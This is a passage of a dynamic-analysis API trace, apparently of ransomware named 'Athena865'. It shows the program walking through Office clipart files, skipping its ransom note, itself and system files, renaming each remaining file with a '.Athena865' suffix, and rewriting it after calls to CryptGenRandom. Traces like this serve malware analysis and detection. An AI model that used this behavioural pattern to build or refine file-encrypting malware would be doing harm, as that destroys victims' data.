(lpString="PARNT_09.MID") returned 12 [0132.670] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_09.MID.Athena865") returned 73 [0132.670] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_09.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\parnt_09.mid"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_09.MID.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\parnt_09.mid.athena865"), dwFlags=0x1) returned 1 [0132.671] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_09.MID.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\parnt_09.mid.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0132.671] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=6764) returned 1 [0132.671] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x29a0020 [0132.672] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540d48 [0132.672] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x54ec38 [0132.672] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ecc0) returned 1 [0132.672] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0132.673] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0132.673] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x1d70, lpName=0x0) returned 0x154 [0132.674] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x1d70) returned 0x100000 [0132.675] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ecc0) returned 1 [0132.676] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0132.676] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0132.676] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540dc0 [0132.676] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540dc0 | out: hHeap=0x4f0000) returned 1 [0132.676] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x52b340 [0132.676] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0132.676] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52b340 | out: hHeap=0x4f0000) returned 1 [0132.676] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0132.676] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x50d3a8 [0132.676] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0132.676] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x50d3a8 | out: hHeap=0x4f0000) returned 1 [0132.677] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0132.677] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0132.677] CloseHandle (hObject=0x154) returned 1 [0132.677] CloseHandle (hObject=0x17c) returned 1 [0132.677] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540d48 | out: hHeap=0x4f0000) returned 1 [0132.677] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54ec38 | out: hHeap=0x4f0000) returned 1 [0132.677] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x29a0020 | out: hHeap=0x4f0000) returned 1 [0132.677] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x59c68c90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x1511, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="PARNT_10.MID", cAlternateFileName="")) returned 1 [0132.677] lstrcmpiW (lpString1="PARNT_10.MID", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0132.677] lstrcmpiW (lpString1="PARNT_10.MID", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0132.677] lstrcmpiW (lpString1="PARNT_10.MID", lpString2=".") returned 1 [0132.677] lstrcmpiW (lpString1="PARNT_10.MID", lpString2="..") returned 1 [0132.677] lstrcmpiW (lpString1="PARNT_10.MID", lpString2="windows") returned -1 [0132.677] lstrcmpiW (lpString1="PARNT_10.MID", lpString2="bootmgr") returned 1 [0132.677] lstrcmpiW (lpString1="PARNT_10.MID", lpString2="temp") returned -1 [0132.677] lstrcmpiW (lpString1="PARNT_10.MID", lpString2="pagefile.sys") returned 1 [0132.677] lstrcmpiW (lpString1="PARNT_10.MID", lpString2="boot") returned 1 [0132.677] lstrcmpiW (lpString1="PARNT_10.MID", lpString2="ids.txt") returned 1 [0132.677] lstrcmpiW (lpString1="PARNT_10.MID", lpString2="ntuser.dat") returned 1 [0132.678] lstrcmpiW (lpString1="PARNT_10.MID", lpString2="perflogs") returned -1 [0132.678] lstrcmpiW (lpString1="PARNT_10.MID", lpString2="MSBuild") returned 1 [0132.678] lstrlenW (lpString="PARNT_10.MID") returned 12 [0132.678] lstrcpyW (in: lpString1=0x241e8ae, lpString2="PARNT_10.MID" | out: lpString1="PARNT_10.MID") returned="PARNT_10.MID" [0132.678] lstrlenW (lpString="PARNT_10.MID") returned 12 [0132.678] lstrlenW (lpString="Athena865") returned 9 [0132.678] lstrcmpiW (lpString1="NT_10.MID", lpString2="Athena865") returned 1 [0132.678] lstrlenW (lpString=".dll") returned 4 [0132.678] lstrcmpiW (lpString1="PARNT_10.MID", lpString2=".dll") returned 1 [0132.678] lstrlenW (lpString=".lnk") returned 4 [0132.678] lstrcmpiW (lpString1="PARNT_10.MID", lpString2=".lnk") returned 1 [0132.678] lstrlenW (lpString=".ini") returned 4 [0132.678] lstrcmpiW (lpString1="PARNT_10.MID", lpString2=".ini") returned 1 [0132.678] lstrlenW (lpString=".sys") returned 4 [0132.678] lstrcmpiW (lpString1="PARNT_10.MID", lpString2=".sys") returned 1 [0132.678] lstrlenW (lpString="PARNT_10.MID") returned 12 [0132.678] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_10.MID.Athena865") returned 73 [0132.678] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_10.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\parnt_10.mid"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_10.MID.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\parnt_10.mid.athena865"), dwFlags=0x1) returned 1 [0132.679] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_10.MID.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\parnt_10.mid.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0132.680] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=5393) returned 1 [0132.680] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x29a0020 [0132.680] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540d48 [0132.680] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x54ec38 [0132.680] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ecc0) returned 1 [0132.681] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0132.681] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0132.681] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x1820, lpName=0x0) returned 0x154 [0132.682] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x1820) returned 0x100000 [0132.683] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ecc0) returned 1 [0132.683] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0132.684] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0132.684] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540dc0 [0132.684] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540dc0 | out: hHeap=0x4f0000) returned 1 [0132.684] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x52b340 [0132.684] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0132.684] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52b340 | out: hHeap=0x4f0000) returned 1 [0132.684] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0132.684] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x50d3a8 [0132.684] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0132.684] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x50d3a8 | out: hHeap=0x4f0000) returned 1 [0132.684] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0132.684] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0132.684] CloseHandle (hObject=0x154) returned 1 [0132.685] CloseHandle (hObject=0x17c) returned 1 [0132.685] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540d48 | out: hHeap=0x4f0000) returned 1 [0132.685] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54ec38 | out: hHeap=0x4f0000) returned 1 [0132.685] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x29a0020 | out: hHeap=0x4f0000) returned 1 [0132.685] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb480d800, ftCreationTime.dwHighDateTime=0x1bd4b33, ftLastAccessTime.dwLowDateTime=0x6cd8b0b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb480d800, ftLastWriteTime.dwHighDateTime=0x1bd4b33, nFileSizeHigh=0x0, nFileSizeLow=0x6140, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="PE00013_.WMF", cAlternateFileName="")) returned 1 [0132.685] lstrcmpiW (lpString1="PE00013_.WMF", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0132.685] lstrcmpiW (lpString1="PE00013_.WMF", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0132.685] lstrcmpiW (lpString1="PE00013_.WMF", lpString2=".") returned 1 [0132.685] lstrcmpiW (lpString1="PE00013_.WMF", lpString2="..") returned 1 [0132.685] lstrcmpiW (lpString1="PE00013_.WMF", lpString2="windows") returned -1 [0132.685] lstrcmpiW (lpString1="PE00013_.WMF", lpString2="bootmgr") returned 1 [0132.685] lstrcmpiW (lpString1="PE00013_.WMF", lpString2="temp") returned -1 [0132.685] lstrcmpiW (lpString1="PE00013_.WMF", lpString2="pagefile.sys") returned 1 [0132.685] lstrcmpiW (lpString1="PE00013_.WMF", lpString2="boot") returned 1 [0132.685] lstrcmpiW (lpString1="PE00013_.WMF", lpString2="ids.txt") returned 1 [0132.685] lstrcmpiW (lpString1="PE00013_.WMF", lpString2="ntuser.dat") returned 1 [0132.685] lstrcmpiW (lpString1="PE00013_.WMF", lpString2="perflogs") returned -1 [0132.685] lstrcmpiW (lpString1="PE00013_.WMF", lpString2="MSBuild") returned 1 [0132.685] lstrlenW (lpString="PE00013_.WMF") returned 12 [0132.685] lstrcpyW (in: lpString1=0x241e8ae, lpString2="PE00013_.WMF" | out: lpString1="PE00013_.WMF") returned="PE00013_.WMF" [0132.685] lstrlenW (lpString="PE00013_.WMF") returned 12 [0132.685] lstrlenW (lpString="Athena865") returned 9 [0132.686] lstrcmpiW (lpString1="0013_.WMF", lpString2="Athena865") returned -1 [0132.686] lstrlenW (lpString=".dll") returned 4 [0132.686] lstrcmpiW (lpString1="PE00013_.WMF", lpString2=".dll") returned 1 [0132.686] lstrlenW (lpString=".lnk") returned 4 [0132.686] lstrcmpiW (lpString1="PE00013_.WMF", lpString2=".lnk") returned 1 [0132.686] lstrlenW (lpString=".ini") returned 4 [0132.686] lstrcmpiW (lpString1="PE00013_.WMF", lpString2=".ini") returned 1 [0132.686] lstrlenW (lpString=".sys") returned 4 [0132.686] lstrcmpiW (lpString1="PE00013_.WMF", lpString2=".sys") returned 1 [0132.686] lstrlenW (lpString="PE00013_.WMF") returned 12 [0132.686] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00013_.WMF.Athena865") returned 73 [0132.686] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00013_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00013_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00013_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00013_.wmf.athena865"), dwFlags=0x1) returned 1 [0132.687] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00013_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00013_.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0132.687] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=24896) returned 1 [0132.687] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x29a0020 [0132.688] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540d48 [0132.688] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x54ec38 [0132.688] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ecc0) returned 1 [0132.689] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0132.689] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0132.689] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x6440, lpName=0x0) returned 0x154 [0132.690] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x6440) returned 0x100000 [0132.692] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ecc0) returned 1 [0132.693] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0132.693] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0132.693] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540dc0 [0132.693] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540dc0 | out: hHeap=0x4f0000) returned 1 [0132.693] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x52b340 [0132.693] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0132.693] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52b340 | out: hHeap=0x4f0000) returned 1 [0132.693] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0132.693] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x50d3a8 [0132.693] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0132.694] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x50d3a8 | out: hHeap=0x4f0000) returned 1 [0132.694] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0132.694] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0132.694] CloseHandle (hObject=0x154) returned 1 [0132.694] CloseHandle (hObject=0x17c) returned 1 [0132.694] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540d48 | out: hHeap=0x4f0000) returned 1 [0132.694] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54ec38 | out: hHeap=0x4f0000) returned 1 [0132.694] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x29a0020 | out: hHeap=0x4f0000) returned 1 [0132.694] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb0ed5100, ftCreationTime.dwHighDateTime=0x1bd4b33, ftLastAccessTime.dwLowDateTime=0x6cd8b0b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb0ed5100, ftLastWriteTime.dwHighDateTime=0x1bd4b33, nFileSizeHigh=0x0, nFileSizeLow=0x411a, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="PE00014_.WMF", cAlternateFileName="")) returned 1 [0132.694] lstrcmpiW (lpString1="PE00014_.WMF", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0132.694] lstrcmpiW (lpString1="PE00014_.WMF", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0132.695] lstrcmpiW (lpString1="PE00014_.WMF", lpString2=".") returned 1 [0132.695] lstrcmpiW (lpString1="PE00014_.WMF", lpString2="..") returned 1 [0132.695] lstrcmpiW (lpString1="PE00014_.WMF", lpString2="windows") returned -1 [0132.695] lstrcmpiW (lpString1="PE00014_.WMF", lpString2="bootmgr") returned 1 [0132.695] lstrcmpiW (lpString1="PE00014_.WMF", lpString2="temp") returned -1 [0132.695] lstrcmpiW (lpString1="PE00014_.WMF", lpString2="pagefile.sys") returned 1 [0132.695] lstrcmpiW (lpString1="PE00014_.WMF", lpString2="boot") returned 1 [0132.695] lstrcmpiW (lpString1="PE00014_.WMF", lpString2="ids.txt") returned 1 [0132.695] lstrcmpiW (lpString1="PE00014_.WMF", lpString2="ntuser.dat") returned 1 [0132.695] lstrcmpiW (lpString1="PE00014_.WMF", lpString2="perflogs") returned -1 [0132.695] lstrcmpiW (lpString1="PE00014_.WMF", lpString2="MSBuild") returned 1 [0132.695] lstrlenW (lpString="PE00014_.WMF") returned 12 [0132.695] lstrcpyW (in: lpString1=0x241e8ae, lpString2="PE00014_.WMF" | out: lpString1="PE00014_.WMF") returned="PE00014_.WMF" [0132.695] lstrlenW (lpString="PE00014_.WMF") returned 12 [0132.695] lstrlenW (lpString="Athena865") returned 9 [0132.695] lstrcmpiW (lpString1="0014_.WMF", lpString2="Athena865") returned -1 [0132.695] lstrlenW (lpString=".dll") returned 4 [0132.695] lstrcmpiW (lpString1="PE00014_.WMF", lpString2=".dll") returned 1 [0132.695] lstrlenW (lpString=".lnk") returned 4 [0132.695] lstrcmpiW (lpString1="PE00014_.WMF", lpString2=".lnk") returned 1 [0132.695] lstrlenW (lpString=".ini") returned 4 [0132.695] lstrcmpiW (lpString1="PE00014_.WMF", lpString2=".ini") returned 1 [0132.695] lstrlenW (lpString=".sys") returned 4 [0132.695] lstrcmpiW (lpString1="PE00014_.WMF", lpString2=".sys") returned 1 [0132.695] lstrlenW (lpString="PE00014_.WMF") returned 12 [0132.695] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00014_.WMF.Athena865") returned 73 [0132.696] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00014_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00014_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00014_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00014_.wmf.athena865"), dwFlags=0x1) returned 1 [0132.704] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00014_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00014_.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0132.704] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=16666) returned 1 [0132.704] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x29a0020 [0132.705] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540d48 [0132.705] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x54ec38 [0132.705] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ecc0) returned 1 [0132.705] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0132.705] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0132.706] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x4420, lpName=0x0) returned 0x154 [0132.707] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x4420) returned 0x100000 [0132.708] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ecc0) returned 1 [0132.709] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0132.709] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0132.709] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540dc0 [0132.709] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540dc0 | out: hHeap=0x4f0000) returned 1 [0132.709] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x52b340 [0132.709] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0132.710] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52b340 | out: hHeap=0x4f0000) returned 1 [0132.710] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0132.710] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x50d3a8 [0132.710] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0132.710] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x50d3a8 | out: hHeap=0x4f0000) returned 1 [0132.710] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0132.710] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0132.710] CloseHandle (hObject=0x154) returned 1 [0132.710] CloseHandle (hObject=0x17c) returned 1 [0132.710] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540d48 | out: hHeap=0x4f0000) returned 1 [0132.710] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54ec38 | out: hHeap=0x4f0000) returned 1 [0132.710] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x29a0020 | out: hHeap=0x4f0000) returned 1 [0132.711] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x59c68c90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x3d5c, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="PE00034_.WMF", cAlternateFileName="")) returned 1 [0132.711] lstrcmpiW (lpString1="PE00034_.WMF", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0132.711] lstrcmpiW (lpString1="PE00034_.WMF", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0132.711] lstrcmpiW (lpString1="PE00034_.WMF", lpString2=".") returned 1 [0132.711] lstrcmpiW (lpString1="PE00034_.WMF", lpString2="..") returned 1 [0132.711] lstrcmpiW (lpString1="PE00034_.WMF", lpString2="windows") returned -1 [0132.711] lstrcmpiW (lpString1="PE00034_.WMF", lpString2="bootmgr") returned 1 [0132.711] lstrcmpiW (lpString1="PE00034_.WMF", lpString2="temp") returned -1 [0132.711] lstrcmpiW (lpString1="PE00034_.WMF", lpString2="pagefile.sys") returned 1 [0132.711] lstrcmpiW (lpString1="PE00034_.WMF", lpString2="boot") returned 1 [0132.711] lstrcmpiW (lpString1="PE00034_.WMF", lpString2="ids.txt") returned 1 [0132.711] lstrcmpiW (lpString1="PE00034_.WMF", lpString2="ntuser.dat") returned 1 [0132.711] lstrcmpiW (lpString1="PE00034_.WMF", lpString2="perflogs") returned -1 [0132.711] lstrcmpiW (lpString1="PE00034_.WMF", lpString2="MSBuild") returned 1 [0132.711] lstrlenW (lpString="PE00034_.WMF") returned 12 [0132.711] lstrcpyW (in: lpString1=0x241e8ae, lpString2="PE00034_.WMF" | out: lpString1="PE00034_.WMF") returned="PE00034_.WMF" [0132.711] lstrlenW (lpString="PE00034_.WMF") returned 12 [0132.711] lstrlenW (lpString="Athena865") returned 9 [0132.712] lstrcmpiW (lpString1="0034_.WMF", lpString2="Athena865") returned -1 [0132.712] lstrlenW (lpString=".dll") returned 4 [0132.712] lstrcmpiW (lpString1="PE00034_.WMF", lpString2=".dll") returned 1 [0132.712] lstrlenW (lpString=".lnk") returned 4 [0132.712] lstrcmpiW (lpString1="PE00034_.WMF", lpString2=".lnk") returned 1 [0132.712] lstrlenW (lpString=".ini") returned 4 [0132.712] lstrcmpiW (lpString1="PE00034_.WMF", lpString2=".ini") returned 1 